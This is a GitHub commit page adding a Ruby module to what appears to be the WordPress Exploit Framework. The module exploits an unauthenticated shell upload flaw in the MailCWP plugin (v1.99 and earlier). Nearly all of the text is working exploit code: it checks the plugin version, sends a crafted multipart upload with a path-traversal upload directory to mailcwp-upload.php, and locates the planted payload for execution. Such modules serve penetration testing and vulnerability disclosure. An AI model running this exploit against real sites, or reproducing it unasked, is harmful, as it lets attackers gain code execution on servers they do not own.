Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit 99ed86b

Browse files
committed
Add MailCWP <= 1.99 unauthenticated shell upload
1 parent f051ba8 commit 99ed86b

File tree

1 file changed

+49
-0
lines changed

1 file changed

+49
-0
lines changed
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
class Wpxf::Exploit::MailcwpUnauthenticatedShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ShellUpload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'MailCWP <= v1.99 Unauthenticated Shell Upload',
9+
author: [
10+
'Larry W. Cashdollar', # Discovery and disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8090'],
15+
['URL', 'http://www.vapid.dhs.org/advisory.php?v=138']
16+
],
17+
date: 'Jul 09 2015'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('mailcwp', '1.100')
23+
end
24+
25+
def uploader_url
26+
normalize_uri(wordpress_url_plugins, 'mailcwp', 'mailcwp-upload.php')
27+
end
28+
29+
def message_id
30+
@message_id ||= Utility::Text.rand_numeric(3)
31+
end
32+
33+
def upload_request_params
34+
{
35+
message_id: message_id,
36+
upload_dir: '../../uploads'
37+
}
38+
end
39+
40+
def payload_body_builder
41+
builder = Utility::BodyBuilder.new
42+
builder.add_file_from_string('file', payload.encoded, payload_name)
43+
builder
44+
end
45+
46+
def uploaded_payload_location
47+
normalize_uri(wordpress_url_uploads, "#{message_id}-#{payload_name}")
48+
end
49+
end

0 commit comments

Comments
 (0)